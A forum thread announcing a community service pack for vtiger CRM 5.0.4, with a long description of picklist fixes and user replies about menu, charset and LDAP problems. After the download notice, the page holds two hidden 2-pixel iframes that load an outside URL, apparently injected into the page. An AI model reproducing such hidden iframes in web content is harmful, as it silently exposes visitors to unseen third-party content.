vtiger ServicePack 1 Download

Hello

I created a new patch which fixes many picklist bugs and adds new features which allow to edit picklists in seconds.
Additionally it contains a new menu patch.

I bundled the new patches with all my older patches which I have published in this forum before. (Some of the older patches are also updated).

The result is the new vtiger ServicePack 1.
A detailed description can be found in the ZIP file.

The Service Pack contains the following patches:
- Import Patch
- Calendar Patch
- Currency Patch
- Ldap Patch
- Menu Patch
- Picklist Patch

Here only the description of the picklist patch:
(All patches are described in the ZIP file)
________________________________________________________

PICKLIST PATCH:

This patch was by far the most complex and complicated patch.
The changes in 37 files took 10 entire days of work!

New Feature 1:
Before this patch you saw a big chaos when dropping-down the picklists because they were first sorted and then translated.
Now all picklist entries are alphabetically sorted in all places.

New Feature 2:
The admin can now define easily any entry of the picklist to be the default entry.
When a new Contact, Account, Potential, etc is created all picklists switch to their default value.
ATTENTION:
To check this you must login with a NON-admin account!
The admin always sees the picklist entries of all roles. The default entries are not available for an admin!

New Feature 3:
Before it was a NIGHTMARE to administrate the picklists.
If you had 10 roles and wanted to change 10 picklists you had to
select 10 times the combobox "Role" and 10 times the combobox "Module" = 100 clicks.
Additionally you had to click the "Edit" button 100 times and make the changes in the picklist entries 100 times
and click "Save" 100 times. This results in a sum of at least 400 clicks!!!!
You needed at least an hour for that and making a mistake was very easy.

Now editing picklists has become ultra easy:
A.) Now the admin can display and edit all picklists of a role at once on the screen.
B.) Now the admin can copy the picklist entries of one role to all the other roles with one single click.
________________________________________________

Bugfix 1:
Some Picklist values were not translated correctly (several locations)

The process of picklist creation is obvious:
- First read the entries from the database,
- as the database function returns HTML code, they must be HTML decoded then,
- dertermine the selected and the default entry
- translate the entries
- sort the !TRANSLATED! values
- encode back to Html

This order is obvious, but the programmersof vtiger made several errors in several places which resulted in several bugs.
For example "Food & Beverage" was only translated if you had put a translation for "Food & Beverage" into your translation file!
It is completely wrong to translate picklist entries in the Smarty Templates. They must be first translated, then sorted, then assigned to Smarty.

Bugfix 2:
In the calendar module the order was even so buggy that a not-admin user on a not-english vtiger
always saw "NOT ACCESSIBLE" for some picklist values!

Bugfix 3:
Some picklists showed different values in detail view and in edit mode and in the Picklist Editor.
In some picklists the admin could not delete the "--None--" entry.
How can some vtiger programmers decide that it may not make sense to delete this entry?

Now the admin has the power to decide 100% how he wants to design the picklists.
The only picklist entries which cannot be deleted or changed are the fix entries which are marked with prensence=0 in the database.

Bugfix 4:
When working with the Picklist Editor the windows "Edit Picklist" and "Global Delete" appeared anywhere on the screen.
Some used Javascript effects others did not. It was possible to open multiple windows at once.

Now they are all centered on the screen.

Real multilanguage picklist support is impossible:
If a big company is using vtiger with marketing offices in different countries where the french salesman
wants to see the pisklists in french and the spanish salesman wants to see them in spanish,
this is a mess if the admin has added new (user defined) picklist entries.
If you add a new entry to a picklist in the Picklist Editor there is no way to define for which language you want to add it.
If you want REAL mutilanguage support, the admin has to enter the english picklist values into the Picklist Editor and then
add the translations to all the files \include\language\xx_yy.lang.php for each language. (Ugly!)
I did not change that because this would require a deep change in the database and in a thousand PHP files.
It is very hard to do such deep changes on a system which was mis-designed from its very first days.

Solution:
What I did, was creating a new class "PickListClass", which from now on does ALL the picklist work:
- read the picklist entries from the databse
- determine default value and selected value(s)
- translate, sort and convert to HTML
- check field permission for the current user

The biggest part of the work was to find the thousand places where the vtiger programmers had copied and pasted picklist code
and replace all this code (which was mostly buggy) by a call to the new class.

The function getAccessPickListValues() was reading all picklist entries for a module, which are multiple database accesses.
But the code which called this function then used this huge array only to check ONE single value of ONE picklist.
Why access the databse multiple times to check one single value?

I removed this crap and much more which I cannot list detailed here because it's too much.

P.S.
You will still find picklists which are not sorted alphabetically, but these do not derive from picklist tables in the database. (vtiger_role2picklist)


You must be logged in to see the ZIP file! <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
«13456

Comments

  • 54 Comments sorted by Votes Date Added
  • hi elmue;
    thanks your assistance <!-- s;) --><img src="{smilies_path}/icon_wink.gif" alt=";)" title="wink" /><!-- s;) -->
    i have a problem can you help me?
    problem :
    we are using vtigercrm 5.0.4 and we have an issue.when we change $default_charset = 'iso-8859-1' line by config.inc.php to $default_charset = 'iso-8859-9'; in some pages we get some errors like (our area code iso-8859-9) "warning: html_entity_decode() [function.html-entity-decode]: charset `iso-8859-9' not supported, assuming iso-8859-1 in c:\program files\vtigercrm5\apache\htdocs\vtigercrm\modules\customview\customview.php on line 1356". also when we change $default_charset = 'iso-8859-9'; value in config.inc.php file to $default_charset = 'iso-8859-1'; pages can be viewed with no problem but we have some charecter set problems. when we set the charecter encoding as iso-8859-9 in explorer and firefox the problem is fixed. how can we solve this issue?
  • hello individual

    i have never tried what happens when vtiger is changed to run with charset 8859-9.
    as i do not need it, this also isn't a topic for me.
    im sorry but i dont have the time to investigate this for you.

    additionally your posting is at the wrong place here.
    it has nothing to do with my service pack 1.
    it is general vtiger problem.
    you should open a new thread for that, or better search in google for this error as it seems to be a php problem.

    click here:
    <!-- m --><a class="postlink" href="http://www.google.cl/search?q=html_entity_decode(">http://www.google.cl/search?q=html_entity_decode(</a><!-- m -->)++charset++%22not+supported

    elmü
  • hi elmue!

    great work and thank you for the sp1.

    i'm guessing that you worked on a clean vtiger 5.0.4 installation. however, in my case, before applying sp1 i had installed vtlib 2.0 and the security patch. i also edited the menu (parent_tabdata.php) and disabled several modules that i didn't need (according to our client's needs). then i tried applying sp1 not just by copying and pasting the files, but by comparing the code in all of your files with mine using winmerge. i tried to make sure to keep the code modifications of vtlib and the security patch, and to include yours too.

    when i ran vtiger, the first thing i noticed was that all the submenus had no labels (see attached photo). also, when i click on any of the submenus it doesn't send the module parameter, so it gives an error like "module name is missing. please check the module name."

    i understand the problem might be that i have already modified some of the code of vtiger, but please if you have the time check if that happens to you too and if you can help me solve the problem.

    thank you,

    regards,
    vasko
  • hi elmue!



    first of all, thanks a lot for your efforts, specially the ldap support patch. i'm trying to implement vtiger here in my company (primarilly because we're a postgres shop, and sugarcrm doesn't care about it) and i can say that yes, it works with debian etch's openldap version (2.3.30) , with the following settings, in a clean 5.0.4 install:
    
    $authcfg&#91;'authtype'&#93;  = 'ldap';
    $authcfg&#91;'sql_accounts'&#93;  = 'admin';
    $authcfg&#91;'ldap_host'&#93; = 'host_running_slapd';
    $authcfg&#91;'ldap_port'&#93; = 389; // you may change it to '636' to use ldaps &#40;ldap + ssl&#41;
    $authcfg&#91;'ldap_basedn'&#93; = 'basedn as configured in the slapd&#46;conf file';
    $authcfg&#91;'ldap_username'&#93; = 'directory admin as configured in slapd&#46;conf file';
    $authcfg&#91;'ldap_pass'&#93;     = 'very_secret_password';
    $authcfg&#91;'ldap_objclass'&#93;    = 'objectclass';
    $authcfg&#91;'ldap_account'&#93;     = 'uid';
    $authcfg&#91;'ldap_fullname'&#93;    = 'gecos';
    $authcfg&#91;'ldap_userfilter'&#93;  = 'user|person|organizationalperson';
    
    

    now, the problem.

    even with a clean install, i'm having the same menu problem as vasko. could you please take a look at this ?
    also, could you elaborate on why is needed to create the user in vtiger to make it possible to authenticate the login via ldap ?
    think about large companies with 1000's of employees, it's just unfeasible to do.

    once again, thanks a lot man!!
  • hello vasko

    obviously the menus work perfectly.
    there is something wrong with your modifications.
    at the end of the function getallparenttabmoduleslist() in commonutils.php write a print_r($sort_array)

    i suppose you did not modify the file header.tpl correctly.

    elmü
  • i've just been fighting picklists and this sp looks great!

    i'm going to try this tonight, i hope it's been integrated into 5.1 just reading about it makes my mouth water.
  • elmü, i fixed the problem with the menu! the problem was a block of code by vtlib in header.tpl that i didn't replace. in your file, this block is on lines 426 to 435. it is the code that generates the labels for the menus. i'm pasting the block below:
    &lt;!-- drop down menu in the main tab --&gt;
    	&lt;table width=&quot;100%&quot; border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;
    		&#123;foreach name=modulelist key=link item=label from=$details&#125;
    		&#123;* vtlib customization&#58; use translated string if available *&#125;
    		&#123;assign var=&quot;modulelabel&quot; value=$modules&#46;1&#125;
    		&#123;if $app&#91;$modules&#46;1&#93;&#125;&#123;assign var=&quot;modulelabel&quot; value=$app&#91;$modules&#46;1&#93;&#125;&#123;/if&#125;
    		&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;index&#46;php?module=&#123;$modules&#46;0&#125;&amp;action=index&amp;parenttab=&#123;$parenttab&#125;&quot; class=&quot;drop_down&quot;&gt;&#123;$modulelabel&#125;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
    		&#123;/foreach&#125;
    	&lt;/table&gt;
    

    thank you for your hint! i appreciate it.

    keep up the good work! <!-- s:wink: --><img src="{smilies_path}/icon_wink.gif" alt=":wink:" title="wink" /><!-- s:wink: -->
  • hello fcannini

    > could you elaborate on why is needed to create the user in vtiger to make it possible to authenticate the login via ldap ?
    > think about large companies with 1000's of employees, it's just unfeasible to do.

    i don´t think that all 1000 users of a company will all work with vtiger.
    there will be a few of them using vtiger.

    as i described in the readme in the zip file you cannot make an automatic login for all ldap users.
    vtiger stores additional information about the users in the database like its role and if he is a vtiger admin. this information does not exists on a ldap server.
    and if you would store this information on your ldap server, what would you gain ?
    the admin would have to enter it into the ldap server instead of into vtiger!
    the work he has to do would be the same.

    but with my new feature creating a new user in vtiger is just 2 clicks:
    search him in ldap and copy its settings into vtiger.
    its so fast and so easy that even creating 40 users is rapidly done.

    elmü
  • i created a new patch which fixes many picklist bugs and adds new features which allow to edit picklists in seconds.
    additionally it contains a new menu patch.
    well done. what i like most is your detailed documentation of the changes you have done.
    picklist patch:

    this patch was by far the most complex and complicated patch.
    the changes in 37 files took 10 entire days of work!
    you took the burden and went through everything, thank you. i like the new management interface.
    new feature 1:
    before this patch you saw a big chaos when dropping-down the picklists because they were first sorted and then translated.
    now all picklist entries are alphabetically sorted in all places.
    for example "food & beverage" was only translated if you had put a translation for "food &amp; beverage" into your translation file!
    it is completely wrong to translate picklist entries in the smarty templates. they must be first translated, then sorted, then assigned to smarty.
    i fully agree to this approach. when we started to test v5.0.4 and german language files i filed a lot of i18n errors to the bug tracker. i gave it up when i realized that these all had the same cause as you have described it.
    real multilanguage picklist support is impossible:
    i agree. this is the biggest design flaw related to i18n issues in the entire system. while watching the progress on v5.1. i noticed that things are going to be even worse with the upcoming version. we tried some work arrounds ourselve but always ended up with massive changes to the db and to many files. i really do not like this.
  • thank you elmue for your patch.
    i'm getting these warnings (screen enclosed).
    they happens when trying to edit a picklist.
    do you know where it can come from ?
Sign In or Register to comment.